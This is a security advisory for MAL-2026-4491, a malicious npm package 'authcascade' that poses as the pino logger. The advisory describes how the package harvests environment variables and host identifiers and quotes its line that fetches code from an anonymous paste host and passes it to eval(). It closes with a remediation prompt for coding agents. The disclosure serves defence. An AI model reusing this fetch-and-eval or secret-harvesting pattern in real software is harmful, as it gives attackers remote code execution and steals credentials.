# MAL-2026-4491: Malicious code in authcascade (npm)


- **Type:** Malicious package
- **Package:** `authcascade` (npm)
- **Published:** 25 May 2026
- **Also known as:** GHSA-fx94-j779-7c6j

## What is MAL-2026-4491?

MAL-2026-4491 is a malicious package in authcascade, published on 25 May 2026. 

### Official description

On require('authcascade'), the package's main entry pino.js loads lib/writer.js which (a) builds a data object containing the full process.env, OS platform, hostname, username, and all non-internal MAC addresses, and (b) fetches a base64-decoded URL (https://www.jsonkeeper.com/b/PJNZP) via axios.get and passes the response body directly to eval(): `require('axios').get(atob(...)).then(r => { eval(r.data.data); })`. A second hex-obfuscated jsonkeeper.com URL (/b/HY6M6) is staged in the same module. jsonkeeper.com is an anonymous, mutable JSON paste host — the maintainer can swap in arbitrary JavaScript at any moment, which then executes in the same scope as the harvested host fingerprint and environment variables (CI secrets, AWS/GitHub/npm tokens, etc.), giving attacker-controlled remote code execution and credential theft on every installer that loads the package. The package additionally impersonates the legitimate `pino` logger: package.json sets `main: pino.js`, `homepage: https://getpino.io`, and the lib/ tree mirrors pino's source layout (proto.js, levels.js, redaction.js, multistream.js, transport.js, worker.js, tools.js). The combination of identity spoofing, import-time fetch-and-eval from a mutable anonymous host, and bulk environment/host-identifier collection is an unambiguous supply-chain attack.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4491?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4491 is a malicious package: authcascade (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4491/ (Markdown: https://insights.sbomify.com/MAL-2026-4491/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4491

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4491/
Summaries are generated and may contain mistakes; the official description above is the record.
